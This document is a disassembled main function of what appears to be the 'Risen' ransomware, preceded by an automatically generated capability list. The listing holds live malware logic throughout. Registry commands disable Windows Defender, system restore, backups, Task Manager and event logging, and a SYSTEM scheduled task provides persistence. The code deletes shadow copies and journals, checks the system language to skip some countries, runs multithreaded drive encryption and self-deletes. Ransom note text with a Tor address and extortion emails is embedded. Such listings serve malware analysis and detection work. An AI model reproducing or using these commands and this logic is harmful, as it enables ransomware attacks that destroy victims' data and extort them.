Function at 0x404220
Capabilities:
Check mutex on windows
Create directory
Create process on windows
Create thread
Disable system features via registry on windows
Disable system restore features via registry on windows
Disable windows defender features via registry on windows
Empty the recycle bin
Get disk information
Get system information on windows
Hide graphical window
Identify system language via api
Schedule task via schtasks
Self delete
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x135c
call fcn.004178e0
mov eax, dword [0x42c004]
xor eax, esp
mov dword [esp + 0x1358], eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push 0x43feb4
mov dword [0x43fb14], eax
call dword [sym.imp.KERNEL32.DLL_InitializeCriticalSection]
push 0
push SysReAllocString
push 4
push 0
push 3
push 0x40000000
push str.RisenLogs.txt
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
push 2
push 0
push 0
push eax
mov dword [0x42ca40], eax
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
call fcn.004030a0
call dword [sym.imp.KERNEL32.DLL_GetConsoleWindow]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push str.RISEN_MUTEX
push 1
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov esi, dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov ebx, eax
push 0
push ebx
mov dword [esp + 0x24], ebx
call esi
test eax, eax
je 0x4042d4
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x1f40
call edi
push 0
push ebx
call esi
test eax, eax
jne 0x4042c4
push 0
push str.C:ProgramData
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
mov esi, dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push 0x80
call esi
push eax
call dword [sym.imp.KERNEL32.DLL_SetPriorityClass]
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.DLL_SetProcessPriorityBoost]
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_SetProcessShutdownParameters]
call dword [sym.imp.KERNEL32.DLL_GetSystemDefaultUILanguage]
movzx eax, ax
cmp eax, 0x441
je 0x404b38
cmp eax, 0x3009
je 0x404b38
cmp eax, 0x2009
je 0x404b38
cmp eax, 0x429
je 0x404b38
cmp eax, 0x200a
je 0x404b38
call fcn.00403940
test eax, eax
jne 0x40435d
push str.initialize_KeyPairs_And_ID_Failed._Contact_Administrator
jmp 0x404b3d
call fcn.00404120
mov ecx, str._c_reg_add__HKEY_CURRENT_USERSoftwarePoliciesMicrosoftWindowsExplorer___v__DisableNotificationCenter___t_REG_DWORD__d_1__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindows_Defender___v__DisableAntiSpyware___t_REG_DWORD__d_1__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindows_DefenderReal_Time_Protection___v__DisableRealtimeMonitoring___t_REG_DWORD__d_1__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindows_DefenderSpynet___v__SubmitSamplesConsent___t_REG_DWORD__d_2__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindows_DefenderThreats___v__Threats_ThreatSeverityDefaultAction___t_REG_DWORD__d_1__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindows_DefenderThreatsThreatSeverityDefaultAction___v__Low___t_REG_DWORD__d_6__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindows_DefenderThreatsThreatSeverityDefaultAction___v__Medium___t_REG_DWORD__d_6__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindows_DefenderThreatsThreatSeverityDefaultAction___v__High___t_REG_DWORD__d_6__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindows_DefenderThreatsThreatSeverityDefaultAction___v__Severe___t_REG_DWORD__d_6__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindows_DefenderUX_Configuration___v__Notification_Suppress___t_REG_DWORD__d_1__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer___v__NoClose___t_REG_DWORD__d_1__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer___v__StartMenuLogOff___t_REG_DWORD__d_1__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem___v__DisableChangePassword___t_REG_DWORD__d_1__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem___v__NoLogoff___t_REG_DWORD__d_1__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem___v__DisableLockWorkstation___t_REG_DWORD__d_1__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindows_NTSystemRestore___v__DisableConfig___t_REG_DWORD__d_1__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindows_NTSystemRestore___v__DisableSR___t_REG_DWORD__d_1__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsWinRE___v__DisableSetup___t_REG_DWORD__d_1__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsBackupClient___v__DisableBackupLauncher___t_REG_DWORD__d_1__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsBackupClient___v__DisableRestoreUI___t_REG_DWORD__d_1__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsBackupClient___v__DisableSystemBackupUI___t_REG_DWORD__d_1__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsBackupClient___v__DisableBackupUI___t_REG_DWORD__d_1__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer_____v__NoSearchFilesInStartMenu____t_REG_DWORD__d_1__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer_____v__NoSearchProgramsInStartMenu____t_REG_DWORD__d_1__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer_____v__NoStartMenuMorePrograms____t_REG_DWORD__d_1__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer_____v__NoSMConfigurePrograms____t_REG_DWORD__d_1__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer_____v__NoNetworkConnections____t_REG_DWORD__d_1__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_CURRENT_USERSoftwarePoliciesMicrosoftWindowsExplorer_____v__TaskbarNoPinnedList____t_REG_DWORD__d_1__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer_____v__NoStartMenuPinnedList____t_REG_DWORD__d_1__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer_____v__HideSCANetwork____t_REG_DWORD__d_1__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer_____v__HideSCAHealth____t_REG_DWORD__d_1__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem_____v__NoControlPanel____t_REG_DWORD__d_1__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesNonEnum_____v__645FF040_5081_101B_9F08_00AA002F954E____t_REG_DWORD__d_1__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftAppVClientVirtualization_____v__EnableDynamicVirtualization____t_REG_DWORD__d_0__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsBackupClient_____v__DisableBackupToDisk____t_REG_DWORD__d_1__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsBackupClient_____v__DisableBackupToNetwork____t_REG_DWORD__d_1__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsBackupClient_____v__DisableBackupToOptical____t_REG_DWORD__d_1__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsBackupServer_____v__OnlySystemBackup____t_REG_DWORD__d_1__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsBackupServer_____v__NoBackupToDisk____t_REG_DWORD__d_1__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsBackupServer_____v__NoBackupToNetwork____t_REG_DWORD__d_1__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsBackupServer_____v__NoBackupToOptical____t_REG_DWORD__d_1__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsBackupServer_____v__NoRunNowBackup____t_REG_DWORD__d_1__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlWMIAutologgerEventLog_System9580d7dd_0379_4658_9870_d5be7d52d6de_____v__Enable___t_REG_DWORD__d_0__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem___v__DisableTaskMgr___t_REG_DWORD__d_1__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer___v__NoRun___t_REG_DWORD__d_1__f
call fcn.00402ed0
lea eax, [esp + 0x28]
mov dword [esp + 0x24], 0
push eax
lea eax, [esp + 0x24]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov esi, dword [sym.imp.KERNEL32.DLL_GetLastError]
test eax, eax
jne 0x4045d9
push str.reg_Open_Key_Success.
call fcn.00402d80
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea eax, [esp + 0x28]
add esp, 4
push 4
push eax
push 4
push 0
push str.EnableLUA
push dword [esp + 0x34]
call edi
test eax, eax
jne 0x404591
push str.reg_LinkedConnection_value_set_successfully.
jmp 0x404596
push str.reg_LinkedConnection_value_set_ERROR.
call fcn.00402d80
add esp, 4
mov dword [esp + 0x24], 1
lea eax, [esp + 0x24]
push 4
push eax
push 4
push 0
push str.EnableLinkedConnections
push dword [esp + 0x34]
call edi
test eax, eax
jne 0x4045cf
push str.reg_EnableLUA_value_set_successfully.
call fcn.00402d80
add esp, 4
jmp 0x4045e9
call esi
push eax
push str.reg_EnableLUA_value_set_ERROR__GetLastError_:__lu_.
jmp 0x4045e1
call esi
push eax
push str.reg_Open_Key_ERROR__GetLastError_:__lu_.
call fcn.00402d80
add esp, 8
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 7
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinW]
push 1
push 1
call dword [sym.imp.USERENV.dll_RefreshPolicyEx]
test eax, eax
jne 0x40461f
call esi
push eax
push str.Group_Policy_Refresh_Failed__GetLastError_:__lu_.
call fcn.00402d80
add esp, 8
jmp 0x40462c
push str.Group_Policy_Update_Successfully.
call fcn.00402d80
add esp, 4
push 0x1c2
lea eax, [esp + 0x254]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
push str.Set_StartUp
call fcn.00402d80
add esp, 4
lea eax, [esp + 0x250]
push eax
lea eax, [esp + 0x964]
push str._c_SCHTASKS.exe__Create__RU__NT_AUTHORITYSYSTEM___sc_onstart__TN__SystemDefense___TR___s___F
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [esp + 0x960]
call fcn.00402ed0
push str.Deleting_shadows
call fcn.00402d80
add esp, 4
call fcn.00404f00
push str.stop_services
call fcn.00402d80
add esp, 4
call fcn.00404cb0
push str.http:__o6pi3u67zyag73ligtsupin5rjkxpfrbofwoxnhimpgpfttxqu7lsuyd.onion
push str.http:__o6pi3u67zyag73ligtsupin5rjkxpfrbofwoxnhimpgpfttxqu7lsuyd.onion
push 0x4353f4
push str.default1_tutamail.com
push str.Default_firemail.de
push str._doctype_html__html__head__hta:application_applicationname_Application_Name__border_none__caption_No__contextmenu_No__maximizebutton_No__minimizebutton_No__navigable_No__scroll_Yes__selection_No__showintaskbar_No__windowstate_Maximize___meta_name_viewport__content_widthdevice_width___meta_http_equiv_x_ua_compatible__content_ie9___title_Risen__title__style_type_text_css__box_sizing:border_box_margin:0_padding:0bodybackground_color:000_margin:0_auto_color:e2e8f0_padding:1.25rem_0_width:90___font_family:sans_serif.logotext_align:center.logo_svgfill:red_width:8rem_height:8rem.first_titleborder_radius:.25rem_font_size:1.875rem_line_height:2.25rem_text_align:center_text_transform:uppercase_margin:2rem_0.first_title_spanfont_weight:700_color:dc2626.first_boxfont_size:1.2rem_position:relative_padding:1.5rem_margin_top:1rem_border:4px_dotted_ef4444_text_align:center.first_box_p:first_childposition:absolute_left:1rem_top:_1.9rem_padding:.75rem_font_size:1.125rem_line_height:1.75rem_background_color:000.first_box_spancolor:dc2626.sec_titleposition:absolute_top:_.25rem_left:50___transform:translate__50____50____padding_left:1rem_padding_right:1rem_font_size:1.125rem_line_height:1.75rem_background_color:000.sec_boxwidth:100___white_space:nowrap_height:350px_margin_top:2.5rem.contactus_.attentionpadding:10px_white_space:normal_height:100___position:relative.contactusword_wrap:break_word_padding_top:20px_margin_right:20px_width:30___float:left_font_size:17px_border:4px_dotted_3b82f6_background_color:rgba_59_130_246_.1_.attentionword_wrap:break_word_float:left_width:68.5___font_size:22px_border:4px_dotted_ef4444_background_color:rgba_239_68_68_.1_.attention_ulword_wrap:break_word_width:100___position:absolute_top:50___transform:translateY__50____list_style_position:inside_media_only_screen_and__min_width:2000px_.logo_svgwidth:10rem_height:10rem.first_titlefont_size:2.8rem.first_boxfont_size:2rem.sec_boxheight:500px.attention_ul_lifont_size:30px_line_height:37px.contactuspadding:30px_font_size:26px.sec_title_.first_box_p:first_childfont_size:2rem_media_only_screen_and__min_width:2900px_.logo_svgwidth:14rem_height:14rem.first_titlefont_size:3.5rem.first_boxfont_size:2.9rem.sec_boxheight:700px.attention_ul_lifont_size:42px_line_height:55px.contactuspadding:35px_font_size:35px_media_only_screen_and__max_width:1480px_.sec_boxwhite_space:normal_height:fit_content.contactus_.attentionwidth:100___display:block_float:none.contactuspadding:2rem_font_size:1.2rem.attentionmargin_top:30px_font_size:1.2rem.attention_ulposition:static_transform:none_line_height:2__style___head__body__div_class_logo___svg_width_502pt__height_465pt__version_1.0__viewBox_0_0_502_465__xmlns_http:__www.w3.org_2000_svg___g_transform_translate_0_465__scale_.1__.1____path_d_m2085_4385c_5_2_37_11_70_21s_76_27_95_38c_46_27_142_105_155_125_5_9_23_31_39_48_35_39_56_79_56_105_0_19_45_68_63_68_4_0_27_9_49_20_23_11_45_20_49_20_5_0_28_13_52_30_25_16_48_30_52_30_27_0_224_188_306_292_31_39_110_200_134_273_51_152_49_89_55_1620_3_786_6_1430_8_1431_1_1_10_10_20_21_54_62_140_51_183_23_16_27_18_120_18_1413_1_847_3_1406_9_1440_5_31_14_88_20_126_13_78_48_190_83_262_76_157_227_362_315_427_26_19_60_48_76_65_17_17_35_31_41_31_7_0_20_9_30_20s_23_20_30_20_20_9_31_21c_18_20_18_21_1_32_42_24_160_49_205_43_103_14_163_50_289_173_47_47_97_90_111_98_22_11_146_20_235_16_64_2_65_65_2_108_18_12_94_83_171_158_76_74_142_135_146_135_5_0_15_6_22_13_26_25_89_56_154_77_50_15_92_20_173_19_58_0_110_2_116_4z____path_d_m1245_3790c_188_31_359_127_500_282_78_84_142_222_177_378_6_27_13_361_16_822l_7_777_29_30c_15_16_41_35_56_41_37_15_50_48_50_130_0_57_4_74_20_90_23_23_29_23_90_7_91_25_153_64_190_120_83_125_83_115_78_987_3_804_5_784_63_914_37_72_107_166_123_166_7_0_23_12_37_26_31_34_189_109_257_123_105_22_217_12_302_26_195_87_315_218_371_403_19_63_21_1874_2_1911_7_13_24_55_38_94_14_38_34_79_44_90_55_63_63_104_30_159_21_36_77_76_108_76_73_0_186_186_222_366_21_106_21_130_23_1014_1_1027_5_968_82_1150_40_83_145_225_1
push 0x435410
call fcn.00402e90
add esp, 0x1c
push str.http:__o6pi3u67zyag73ligtsupin5rjkxpfrbofwoxnhimpgpfttxqu7lsuyd.onion
push 0x4353f4
push str.default1_tutamail.com
push str.Default_firemail.de
push str.RisenNote_:_n_n_nRead_this_text_file_carefully._n_nWe_have_penetrated_your_whole_network_due_some_critical_security_issues._n_nWe_have_encrypted_all_of_your_files_on_each_host_in_the_network_within_strong_algorithm._n_nWe_have_also_Took_your_critical_data_such_as_docs__images__engineering_data__accounting_data__customers_and_..._n_tAnd_trust_me__we_exactly_know_what_should_we_collect_in_case_of_NO_corporation_until_the_end_of_the_deadline_we_WILL_leak_or_sell_your_data__n_tthe_only_way_to_stop_this_process_is_successful_corporation._n_nWe_have_monitored_your_Backup_plans_for_a_whileand_they_are_completely_out_of_access_encrypted__n_nThe_only_situation_for_recovering_your_files_is_our_decryptor__n_tthere_are_many_middle_man_services_out_there_whom_will_contact_us_for_your_caseand_add_an_amount_of_money_on_the_FIXED_price_that_we_gave_to_them__n_tso_be_aware_of_them._n_nRemember__you_can_send_Upto_3_test_files_for_decrypting__before_making_payment__n_twe_highly_recommend_to_get_test_files_to_prevent_possible_scams._n_nIn_order_to_contact_us_you_can_either_use_following_email_:_n_nEmail_address_:__s_n_nOr_If_you_werent_able_to_contact_us_whitin_24_hours_please_Email_:__s_n_nLeave_subject_as_your_machine_id_:__s_n_nIf_you_didnt_get_any_respond_within_72_hours_use_our_blog_to_contact_us___ntherefore_we_can_create_another_way_for_you_to_contact_your_cryptor_as_soon_as_possible._nTOR_BLOG_:__s
push 0x43e450
call fcn.00402e90
add esp, 0x18
call fcn.00403110
cmp eax, 1
jne 0x404704
push str.Load_Hidden_Drives_Successfully.
call fcn.00402d80
add esp, 4
call fcn.00402b00
test eax, eax
jne 0x40471a
push str.Initialize_Queue_Failed.
call fcn.00402d80
add esp, 4
call fcn.00402b30
test eax, eax
jne 0x404728
call fcn.00404b90
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemInfo]
cmp dword [0x43e0c0], 0
jne 0x40475c
mov ebx, dword [esp + 0x40]
mov dword [esp + 0x10], ebx
cmp ebx, 0xd
ja 0x40474e
lea ebx, [ebx + ebx*2]
jmp 0x404761
cmp ebx, 0x1e
ja 0x404757
add ebx, ebx
jmp 0x404761
cmp ebx, 0x23
ja 0x404765
mov ebx, 1
mov dword [esp + 0x10], ebx
push ebx
push str.Max_Worker_Set_:__d
call fcn.00402d80
add esp, 8
lea ecx, [ebx*4]
call fcn.00404b60
mov edi, dword [sym.imp.KERNEL32.DLL_SetThreadPriority]
xor esi, esi
mov dword [esp + 0xc], eax
test ebx, ebx
je 0x4047dd
nop
push 0
push 0
push 0
push 0x402980
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov ecx, dword [esp + 0xc]
push 2
push eax
mov dword [ecx + esi*4], eax
call edi
mov eax, dword [esp + 0xc]
push 0
push dword [eax + esi*4]
call dword [sym.imp.KERNEL32.DLL_SetThreadPriorityBoost]
mov eax, dword [esp + 0xc]
cmp dword [eax + esi*4], 0
jne 0x4047d8
push esi
push str.Failed_to_create_thread__d
call fcn.00402d80
add esp, 8
inc esi
cmp esi, ebx
jb 0x404790
push str.main_Start_Encrypt
call fcn.00402d80
add esp, 4
mov ecx, 0x68
call fcn.00404b60
mov edi, dword [sym.imp.KERNEL32.DLL_GetDriveTypeW]
mov esi, eax
mov eax, dword [esp + 0xc]
xor ebx, ebx
sub eax, esi
sub esi, 0x41ea38
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], esi
push dword [ebx*4 + 0x41ea38]
call edi
cmp eax, 1
je 0x4048c8
push dword [ebx*4 + 0x41ea38]
call edi
cmp eax, 5
je 0x4048c8
cmp dword [0x43e0c0], 0
jne 0x404b27
push 0
push 0
push dword [ebx*4 + 0x41ea38]
lea esi, [esi + ebx*4]
push 0x404100
push 0
push 0
add esi, 0x41ea38
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push dword [ebx*4 + 0x41ea38]
mov dword [esi], eax
call edi
cmp eax, 4
jne 0x40487a
push 2
jmp 0x40487c
push 1
push dword [esi]
call dword [sym.imp.KERNEL32.DLL_SetThreadPriority]
push 0
push dword [esi]
call dword [sym.imp.KERNEL32.DLL_SetThreadPriorityBoost]
mov eax, dword [esp + 0x18]
cmp dword [esi + eax], 0
jne 0x4048a6
push ebx
push str.Failed_to_create_thread__d
call fcn.00402d80
add esp, 8
mov esi, dword [esp + 0x14]
push dword [ebx*4 + 0x41ea38]
call edi
push eax
push dword [ebx*4 + 0x41ea38]
push str.Drive__s_Type_:__d
call fcn.00402d80
add esp, 0xc
inc ebx
cmp ebx, 0x1a
jb 0x404812
push str.main_WaitForWorker
call fcn.00402d80
mov edx, dword [esp + 0x14]
add esp, 4
mov ecx, dword [esp + 0xc]
call fcn.00402900
push str.Encrypt_Complete___Delete_Journals
call fcn.00402d80
add esp, 4
xor ebx, ebx
nop dword [eax + eax]
push dword [ebx + 0x41ea38]
call edi
cmp eax, 1
je 0x4049b9
push dword [ebx + 0x41ea38]
call edi
cmp eax, 5
je 0x4049b9
movups xmm0, xmmword [str._c_fsutil_usn_deletejournal__D]
push 0x1c0
lea eax, [esp + 0x94]
movups xmmword [esp + 0x54], xmm0
push 0
movups xmm0, xmmword [0x428b38]
push eax
movups xmmword [esp + 0x6c], xmm0
movups xmm0, xmmword [0x428b48]
movups xmmword [esp + 0x7c], xmm0
movups xmm0, xmmword [0x428b58]
movups xmmword [esp + 0x8c], xmm0
call fcn.00406040
mov eax, dword [ebx + 0x41ea38]
add esp, 0xc
mov esi, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x404974
lea edi, [esp + 0x50]
sub eax, esi
add edi, 0xfffffffe
nop dword [eax + eax]
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x404990
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x50]
call fcn.00402ed0
mov edi, dword [sym.imp.KERNEL32.DLL_GetDriveTypeW]
add ebx, 4
cmp ebx, 0x68
jb 0x404900
xor esi, esi
nop word [eax + eax]
mov ecx, dword [esi + 0x41eab8]
call fcn.00402ed0
add esi, 4
cmp esi, 0x14
jb 0x4049d0
xor esi, esi
mov ecx, dword [esi + 0x41eaa0]
call fcn.00402ed0
add esi, 4
cmp esi, 0x18
jb 0x4049e5
mov ecx, str._c_SCHTASKS.exe__Delete__TN__SystemDefense___F
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem___v__DisableTaskMgr___t_REG_DWORD__d_0__f
call fcn.00402ed0
mov ecx, str._c_reg_add__HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer___v__NoRun___t_REG_DWORD__d_0__f
call fcn.00402ed0
push 1
push str.C:ProgramDataRisenBackGround.JPG
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
mov esi, dword [sym.imp.KERNEL32.DLL_HeapAlloc]
nop dword [eax]
push 0x810
push 8
push dword [0x43fb14]
call esi
mov edi, eax
test edi, edi
je 0x404a30
mov ecx, str._c_REG_ADD__HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionPoliciesSystem___v__legalnoticecaption___t_REG_SZ__d__WELCOME_____f
call fcn.00402ed0
push str._c_REG_ADD__HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionPoliciesSystem___v__legalnoticetext___t_REG_SZ__d___We_have_penetrated_your_whole_network_due_some_critical_security_issues.__We_have_encrypted_all_files_on_each_host_in_the_network___We_have_also_Took_your_critical_data_AND_in_case_of_NO_corporation_until_the_end_of_the_deadline_we_WILL_leak_or_sell_your_data__the_only_way_to_stop_this_process_is_successful_corporation.____
push edi
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatW]
push str.Default_firemail.de
push edi
call esi
push str.___AND__:_
push edi
call esi
push str.default1_tutamail.com
push edi
call esi
push str.______f
push edi
call esi
mov ecx, edi
call fcn.00402ed0
push edi
push 0
push dword [0x43fb14]
call dword [sym.imp.KERNEL32.DLL_HeapFree]
mov ecx, str._c_taskkill__IM_mshta.exe__f
call fcn.00402ed0
mov ecx, str._c_notepad.exe_C:ProgramData_Risen_Note.txt
call fcn.00402ed0
mov ecx, str._c_C:ProgramData_Risen_Guide.hta
call fcn.00402ed0
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.DLL_ReleaseMutex]
push 0x1c2
lea eax, [esp + 0x5dc]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
lea eax, [esp + 0x5d8]
push eax
lea eax, [esp + 0xd64]
push str._c_ping_127.0.0.1__n_5___nul__del___s_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [esp + 0xd60]
push 0
push 0
push eax
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1358]
xor ecx, esp
call fcn.004052f0
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebx*4 + 0x41ea38]
call fcn.00402b90
jmp 0x4048aa
push str.You_cannot_run_the_program_in_this_country
call fcn.00402d80
mov ecx, dword [esp + 0x1368]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004052f0
mov esp, ebp
pop ebp
ret